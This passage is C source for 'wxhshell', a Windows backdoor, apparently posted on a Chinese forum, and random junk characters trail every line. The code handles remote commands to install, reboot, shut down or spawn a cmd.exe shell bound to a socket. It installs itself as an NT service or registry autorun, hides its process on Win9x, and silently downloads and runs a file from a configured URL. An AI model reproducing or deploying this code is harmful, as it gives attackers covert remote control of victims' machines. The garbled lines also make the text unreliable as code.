IE: x&q`3  
    switch(cmd[0]) { G%;XJsFGp  
  Kl{2^ q>  
  // 帮助 ,AGK O,w  
  case '?': { %;^[WT`,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g$ZgR)q  
    break; MA.1t  
  } 4otB1{  
  // 安装 a36n}R4Q  
  case 'i': { k^z)Vu|f.  
    if(Install()) d"Y9go"Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !sEI|47{  
    else fW!~*Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . Uv7{(  
    break; (k6=o';y  
    } /],:sS7  
  // 卸载 P9:7_Vc  
  case 'r': { G~a;q+7v'$  
    if(Uninstall()) *y5d&4G2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E.0!BuqV  
    else %bZ3^ ub}t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U|g4t=@ZR  
    break; &at>pV3_  
    } KArf:d  
  // 显示 wxhshell 所在路径 ($7>\"+Tl  
  case 'p': { pwT|T;j*  
    char svExeFile[MAX_PATH]; k`Ab*M$@Xs  
    strcpy(svExeFile,"\n\r"); SEr\ u#  
      strcat(svExeFile,ExeFile); 2U2=ja9:Y  
        send(wsh,svExeFile,strlen(svExeFile),0); ?'P8H^K6u  
    break; xE;4#+_I  
    } D@^ r  
  // 重启 {Mp>+e@xx  
  case 'b': { yC =5/wy`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {G&K_~Vj  
    if(Boot(REBOOT)) Tcz67&c |W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gdSv) (  
    else { Z$X2*k6PK  
    closesocket(wsh); 37?%xQ!  
    ExitThread(0); ?T7`E q  
    } Lx8 ^V7 X  
    break; f";70}_  
    } ,8;;#XR3  
  // 关机 v[e$RH  
  case 'd': { =y,_FFoS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _:+W0YS  
    if(Boot(SHUTDOWN)) D2E~ c? V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D`3}j  
    else { Itr yiU9  
    closesocket(wsh); $V]D7kDph*  
    ExitThread(0); _MR|(mV  
    } @za?<G>!'e  
    break; d~g  
    } [Rs5hO  
  // 获取shell j8M}*1  
  case 's': { $ Etf'.  
    CmdShell(wsh); RSG4A>%!mI  
    closesocket(wsh); g (ZeGNV8  
    ExitThread(0); MM|&B`v@;  
    break; Q {3"&  
  } *^=`HE89S  
  // 退出 llhJ,wD  
  case 'x': { (nbqL+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6NZ3(   
    CloseIt(wsh); [ k^6#TQcn  
    break; $bF.6  
    }  8y OzD  
  // 离开 /jC0[%~jV  
  case 'q': { kFHqQs aG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /e|`mu%  
    closesocket(wsh); 1FjA   
    WSACleanup(); ]r$S{<  
    exit(1); 702&E(rx,  
    break; -1Lh="US  
        } i:&Y{iPQp  
  } ZUQ1\Iw  
  } LZ|G"5X[  
4Yt:PN2  
  // 提示信息 uWG'AmK_#E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); isj<lnQ  
} NlU:e}zGR  
  } 16keCG\  
q_g'4VZv  
  return; $T^O38$  
} 8|dl t$  
_Jj|g9b  
// shell模块句柄 :V HJD  
int CmdShell(SOCKET sock) uB 6`e!Q  
{ <& 8cq@<  
STARTUPINFO si; 2"'0OQN0\  
ZeroMemory(&si,sizeof(si)); TA`*]*O(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GTYGm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D(~6h,=m  
PROCESS_INFORMATION ProcessInfo; *=MC+4E  
char cmdline[]="cmd"; 8/-GrdyE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \kzxt/Ow  
  return 0; {p 9y{$  
} I=D`:u\H  
> 9JzYI^  
// 自身启动模式 _ Eq:Qbw#  
int StartFromService(void) BpDf4)|  
{ yh]#V"W3  
typedef struct X3!btxa% t  
{ Fng":28o  
  DWORD ExitStatus; *Mg=IEu-6[  
  DWORD PebBaseAddress; jzI\Q{[m'  
  DWORD AffinityMask; ,`P,))  
  DWORD BasePriority; X z2IAiAs'  
  ULONG UniqueProcessId; f>\?\!  
  ULONG InheritedFromUniqueProcessId; +C/K@:p  
}   PROCESS_BASIC_INFORMATION; _t:rWC"X  
^gw_Up<e6  
PROCNTQSIP NtQueryInformationProcess; UI<'T3b  
hs2f3;)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (vz)GrH>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d7It}7@9  
W2%(a0p  
  HANDLE             hProcess; A8e b{qv  
  PROCESS_BASIC_INFORMATION pbi; [9z<*@$-  
 _"%d9B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^KF  
  if(NULL == hInst ) return 0; Nq9Qsia&  
|I^\|5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I = qd\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W5 fO1F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); , y{o!w  
+m:U9K(\h  
  if (!NtQueryInformationProcess) return 0; nvu|V3B0  
5EFow-AH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mmwwz  
  if(!hProcess) return 0; !g=,O6  
F!|Z_6\tv:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HpDU:m  
~b3xn T  
  CloseHandle(hProcess); G/Kz_Y,  
VXn]*Mo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MZn7gT0  
if(hProcess==NULL) return 0; ?lR)Hi  
+SrE  
HMODULE hMod; ^5 F-7R8Q  
char procName[255]; {KeHqM}e  
unsigned long cbNeeded; EK@yzJ%  
KP _=#KD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _AI2\e  
&^63*x;hE  
  CloseHandle(hProcess); .3{S6#  
d+fmVM?p  
if(strstr(procName,"services")) return 1; // 以服务启动 70lb6A  
-66|Y  
  return 0; // 注册表启动 "LaNXZ9  
} .DHZs#R  
S'Yg!KwX  
// 主模块 s:*gjoL  
int StartWxhshell(LPSTR lpCmdLine) g}ciG!0  
{ xfkG&&  
  SOCKET wsl; '[qG ,^f  
BOOL val=TRUE; xb8fV*RO8A  
  int port=0; }YU#} Ip@  
  struct sockaddr_in door; X2dTV}~i  
u-OwL1S+  
  if(wscfg.ws_autoins) Install(); %+gze|J  
{'"A hiR/  
port=atoi(lpCmdLine); KOhy)h+ h  
fa\<![8LAU  
if(port<=0) port=wscfg.ws_port; 6\4oHRJC  
y\5V (Q\  
  WSADATA data; S,G=MI"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +_:Ih,-   
0m7J'gm{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?tqTG2!(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e>nRJH8pK  
  door.sin_family = AF_INET; ,EcmMI^A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D G7FG--  
  door.sin_port = htons(port); kVkV~  
@ew Qx|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y8m|f  
closesocket(wsl); v :6`(5  
return 1; $'L(}gNv5  
} $aE %W? \  
lk6mu  
  if(listen(wsl,2) == INVALID_SOCKET) { D*vrQ9&# 8  
closesocket(wsl); p'KU!I }  
return 1; <%>Q$b5  
} 9m!4U2N,s  
  Wxhshell(wsl); Y&Pi`E9=  
  WSACleanup(); ``w,CP ?  
C~'}RM  
return 0; T*k K-@.i  
+wD--24!(  
} DI!NP;E  
Yi7`iC  
// 以NT服务方式启动 U g]6i+rp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d";+8S  
{ cFGP3Q4{  
DWORD   status = 0; !uO|1b  
  DWORD   specificError = 0xfffffff; Ywr^uy1V,/  
+Y)rv6}m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J24UUZ9&$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H&mw!=FV0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ReZ|q5*  
  serviceStatus.dwWin32ExitCode     = 0; J^n(WnM*F  
  serviceStatus.dwServiceSpecificExitCode = 0; J%j#gyTU  
  serviceStatus.dwCheckPoint       = 0; 0@*rp7   
  serviceStatus.dwWaitHint       = 0; 72~)bu  
4xtbP\=   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }k\a~<'X  
  if (hServiceStatusHandle==0) return; U>:CX XHRt  
`U2Z(9le  
status = GetLastError(); #jA|04w  
  if (status!=NO_ERROR) |5e/.T$  
{ -$dnUXFsj[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RBt"7'  
    serviceStatus.dwCheckPoint       = 0; `+1*)bYxU  
    serviceStatus.dwWaitHint       = 0; S@N&W&W#~  
    serviceStatus.dwWin32ExitCode     = status; 3|9) A+,#  
    serviceStatus.dwServiceSpecificExitCode = specificError; =;dupz\7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n U$Lp`  
    return; [5a`$yaQ  
  } &IXr*I  
sKn>K/4JZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :E4i@ O7%  
  serviceStatus.dwCheckPoint       = 0; e#FaK^V  
  serviceStatus.dwWaitHint       = 0; sw{EV0&>m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `5[VO  
} ^L]+e  
?v8RY,Q30  
// 处理NT服务事件,比如:启动、停止 ~}8 3\LI}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9zi/z_G  
{ RX?Nv4-  
switch(fdwControl) Zp- Av8  
{ g 4Vt"2|  
case SERVICE_CONTROL_STOP: $qg5m,1?  
  serviceStatus.dwWin32ExitCode = 0; d /Zt}{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lNqXx{!k  
  serviceStatus.dwCheckPoint   = 0; dE/Vl/:  
  serviceStatus.dwWaitHint     = 0; ;Jv)J3y  
  { J>!p^|S{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )bi*y`UM]  
  } @hl5^d"l  
  return; N<"_5  
case SERVICE_CONTROL_PAUSE: c)iQ3_&=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (;~[}"  
  break; s8@fZ4  
case SERVICE_CONTROL_CONTINUE: Be8Gx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @8n0GCv  
  break; j(/"}d3osm  
case SERVICE_CONTROL_INTERROGATE: RTLu]Bry  
  break; `!!A;G7Qg  
}; h^x7[qe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <adu^5BI  
} AGK+~EjL@  
g@B9i =  
// 标准应用程序主函数 #\%Gr tM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t~sW]<qjp  
{ MT%ky  
s![=F}ck  
// 获取操作系统版本 5A~w_p*}  
OsIsNt=GetOsVer(); 3w!oJB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wpx,~`&  
)z7. S"U  
  // 从命令行安装 P63z8^y  
  if(strpbrk(lpCmdLine,"iI")) Install(); if#$wm%  
-7m;rD4J  
  // 下载执行文件 KGP2,U6  
if(wscfg.ws_downexe) { 7-W(gD!`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rd%3eR?V  
  WinExec(wscfg.ws_filenam,SW_HIDE); d 'x;]#S  
} X=${`n%LG  
c7 wza/r>  
if(!OsIsNt) { `1M_rG1/+  
// 如果时win9x,隐藏进程并且设置为注册表启动 uZ<Bfrc  
HideProc(); ~g1@-)zYxK  
StartWxhshell(lpCmdLine); Qbt fKn95  
} |])%yRAGQ  
else ,1^)JshZ~  
  if(StartFromService()) rUx%2O|qu  
  // 以服务方式启动 3Y=T8Gi#  
  StartServiceCtrlDispatcher(DispatchTable); OjrQ[`(E  
else Y<a/(`  
  // 普通方式启动 /R9>\}.y J  
  StartWxhshell(lpCmdLine); [h%_`8z  
{'>X6:  
return 0; 9Ki86  
}
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只看该作者 1 发表于: 2006-10-10
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